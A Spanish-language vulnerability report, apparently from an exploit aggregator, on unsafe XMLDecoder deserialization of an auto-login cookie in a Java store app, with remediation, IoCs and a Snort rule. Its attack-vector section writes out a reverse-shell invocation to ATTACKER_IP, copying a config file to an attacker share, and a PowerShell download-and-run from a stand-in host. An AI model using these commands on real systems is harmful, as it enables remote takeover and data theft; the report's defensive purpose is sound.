## https://sploitus.com/exploit?id=CBF56EAC-8765-5A05-891A-1F8FBF91EC4D
# Reporte de Vulnerabilidad - Java Store Application
## Resumen Ejecutivo
**Severidad**: CRÍTICA
**CVSS v3.1**: 9.8 (Critical)
**CWE**: CWE-502 (Deserialización de Datos No Confiables)
**Impacto**: Ejecución Remota de Código (RCE) sin autenticación
---
## Vulnerabilidad Identificada
### CWE-502: Unsafe Deserialization (Deserialización Insegura)
La aplicación Java Store utiliza `XMLDecoder` para deserializar datos de cookies controladas por el usuario, lo que permite a un atacante ejecutar código arbitrario en el servidor sin necesidad de autenticación.
---
## Detalles Técnicos
### Ubicación del Código Vulnerable
**Archivo**: `src/main/java/es/storeapp/web/interceptors/AutoLoginInterceptor.java`
**Líneas**: 39-40
```java
Base64.Decoder decoder = Base64.getDecoder();
XMLDecoder xmlDecoder = new XMLDecoder(
new ByteArrayInputStream(decoder.decode(cookieValue))
);
UserInfo userInfo = (UserInfo) xmlDecoder.readObject();
```
### ¿Cómo Funciona?
1. **Interceptor Global**: El `AutoLoginInterceptor` se ejecuta en **todas las peticiones HTTP**
2. **Cookie Vulnerable**: Lee la cookie `user-info` sin validación
3. **Deserialización Insegura**: Usa `XMLDecoder.readObject()` directamente
4. **Sin Autenticación**: No requiere usuario válido
### Flujo del Ataque
```
┌─────────────┐ ┌──────────────────┐ ┌────────────┐
│ Atacante │────────>│ HTTP Request │────────>│ Servidor │
│ │ │ Cookie: user-info= │ │
│ │ │ [XML malicioso] │ │ │
└─────────────┘ └──────────────────┘ └────────────┘
│
▼
AutoLoginInterceptor
│
▼
XMLDecoder.readObject()
│
▼
ProcessBuilder.start()
│
▼
EJECUCIÓN DE CÓDIGO
```
---
## Prueba de Concepto (PoC)
### Payload XML Malicioso
```xml
cmd.exe
/c
calc.exe
```
### Explotación
```bash
# 1. Codificar payload en Base64
XML_PAYLOAD=""
COOKIE_VALUE=$(echo -n "$XML_PAYLOAD" | base64)
# 2. Enviar petición HTTP con cookie maliciosa
curl -b "user-info=$COOKIE_VALUE" http://target:8888/
# 3. Código ejecutado en el servidor
```
### Scripts de Explotación Incluidos
```bash
# Test (abre calculadora)
python exploit_xmldecoder.py --test
# Reverse shell
python exploit_xmldecoder.py --ip ATTACKER_IP --port 4444
```
---
## Impacto
### Consecuencias de la Explotación
✅ **Ejecución Remota de Código (RCE)**
- Control total del servidor
- Ejecución de comandos con privilegios de la aplicación Java
✅ **Sin Autenticación Requerida**
- No se necesitan credenciales
- Explotable desde cualquier dirección IP
✅ **Acceso Persistente**
- Instalación de backdoors
- Creación de usuarios administrativos
- Modificación de la aplicación
✅ **Compromiso de Datos**
- Acceso a base de datos
- Lectura de archivos sensibles
- Robo de credenciales de usuarios
✅ **Movimiento Lateral**
- Pivotaje a otros sistemas en la red interna
- Escalación de privilegios en el sistema operativo
---
## Vectores de Ataque
### 1. Reverse Shell
Establecer una shell inversa para control interactivo del servidor.
```bash
python exploit_xmldecoder.py --ip ATTACKER_IP --port 4444
```
### 2. Data Exfiltration
Extraer información sensible de la base de datos.
```xml
cmd.exe /c type application.properties > \\attacker\share\data.txt
```
### 3. Backdoor Installation
Instalar acceso persistente al sistema.
```xml
cmd.exe /c powershell -c "IEX (New-Object Net.WebClient).DownloadString('http://attacker/backdoor.ps1')"
```
### 4. Ransomware Deployment
Desplegar ransomware en el servidor (en escenarios de red team).
---
## Root Cause Analysis (Análisis de Causa Raíz)
### ¿Por Qué es Vulnerable?
1. **`XMLDecoder` es Inherentemente Inseguro**
- Puede instanciar clases arbitrarias
- Puede invocar métodos arbitrarios
- Equivalente a `eval()` en lenguajes de scripting
2. **Deserialización de Datos No Confiables**
- Las cookies HTTP son controladas por el usuario
- No hay validación del contenido XML
- No hay whitelist de clases permitidas
3. **Interceptor en Todas las Rutas**
- Se ejecuta en cada petición HTTP
- Amplía la superficie de ataque
- No requiere endpoints específicos
4. **Falta de Validación**
- No verifica firma digital de la cookie
- No valida estructura del XML
- No restringe clases deserializables
---
## Remediación
### Solución Inmediata (CRÍTICA)
**Opción 1: Reemplazar XMLDecoder con JSON**
```java
// ANTES (VULNERABLE)
XMLDecoder xmlDecoder = new XMLDecoder(
new ByteArrayInputStream(decoder.decode(cookieValue))
);
UserInfo userInfo = (UserInfo) xmlDecoder.readObject();
// DESPUÉS (SEGURO)
ObjectMapper mapper = new ObjectMapper();
UserInfo userInfo = mapper.readValue(
decoder.decode(cookieValue),
UserInfo.class
);
```
**Opción 2: Usar JWT (Recomendado)**
```java
// Crear token JWT firmado
String token = Jwts.builder()
.setSubject(user.getEmail())
.claim("userId", user.getUserId())
.signWith(secretKey, SignatureAlgorithm.HS256)
.compact();
// Validar token JWT
Claims claims = Jwts.parserBuilder()
.setSigningKey(secretKey)
.build()
.parseClaimsJws(token)
.getBody();
```
### Mitigaciones Adicionales
1. **Firmar Cookies**
- Usar HMAC para verificar integridad
- Prevenir modificación de cookies
2. **Validación de Entrada**
- Validar formato antes de deserializar
- Rechazar contenido sospechoso
3. **Principio de Menor Privilegio**
- Ejecutar aplicación con usuario limitado
- Reducir impacto de compromiso
4. **Web Application Firewall (WAF)**
- Detectar payloads de deserialización
- Bloquear cookies con contenido XML
5. **Monitorización**
- Alertar sobre cookies anormalmente grandes
- Detectar patrones de deserialización
---
## Detección
### Indicadores de Compromiso (IoCs)
**Logs del Servidor**
```
java.lang.ArrayIndexOutOfBoundsException
XMLDecoder
ProcessBuilder
```
**Cookies Sospechosas**
- Tamaño > 500 bytes
- Contiene texto Base64 con patrones XML:
- `PD94bWw=` (inicio de ` 1
```
**IDS/IPS Rule (Snort)**
```snort
alert tcp any any -> any 8888 (
msg:"Possible XMLDecoder Deserialization Attack";
content:"Cookie|3a| user-info=";
content:"PD94bWw";
sid:1000001;
)
```
---
## Timeline
| Fecha | Evento |
|-------|--------|
| 2025-11-03 | Vulnerabilidad descubierta durante testing |
| 2025-11-03 | PoC desarrollado y validado |
| 2025-11-03 | Reporte de vulnerabilidad generado |
| Pendiente | Aplicar parche de remediación |
| Pendiente | Verificar efectividad del parche |
---
## Referencias
- **CWE-502**: Deserialization of Untrusted Data
https://cwe.mitre.org/data/definitions/502.html
- **OWASP Top 10 2021: A08 - Software and Data Integrity Failures**
https://owasp.org/Top10/A08_2021-Software_and_Data_Integrity_Failures/
- **Oracle Security Alert - XMLDecoder**
https://www.oracle.com/java/technologies/javase/seccodeguide.html
- **Java Unmarshaller Security**
https://github.com/GrrrDog/Java-Deserialization-Cheat-Sheet
- **CVE-2011-2894** (XMLDecoder vulnerability precedent)
---
## Clasificación CVSS v3.1
```
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
```
| Métrica | Valor | Explicación |
|---------|-------|-------------|
| Attack Vector (AV) | Network (N) | Explotable remotamente via HTTP |
| Attack Complexity (AC) | Low (L) | No requiere condiciones especiales |
| Privileges Required (PR) | None (N) | No requiere autenticación |
| User Interaction (UI) | None (N) | Completamente automático |
| Scope (S) | Unchanged (U) | Impacto limitado al componente vulnerable |
| Confidentiality (C) | High (H) | Acceso total a datos |
| Integrity (I) | High (H) | Modificación completa del sistema |
| Availability (A) | High (H) | Posible denegación de servicio |
**Score Base**: 9.8 (CRITICAL)
---
## Conclusión
Esta vulnerabilidad de **deserialización insegura con XMLDecoder** representa un riesgo **crítico** para la aplicación. La combinación de:
- ✅ Explotación sin autenticación
- ✅ Ejecución remota de código
- ✅ Facilidad de explotación
- ✅ Amplia superficie de ataque
Hace que sea **imperativo aplicar el parche inmediatamente**.
### Recomendación Final
**Acción Inmediata**: Reemplazar `XMLDecoder` por JSON/JWT
**Plazo**: < 24 horas
**Prioridad**: P0 (Máxima)
---
**Reporte generado**: 2025-11-03
**Categoría**: CWE-502 Unsafe Deserialization
**Estado**: CRÍTICO - Requiere acción inmediata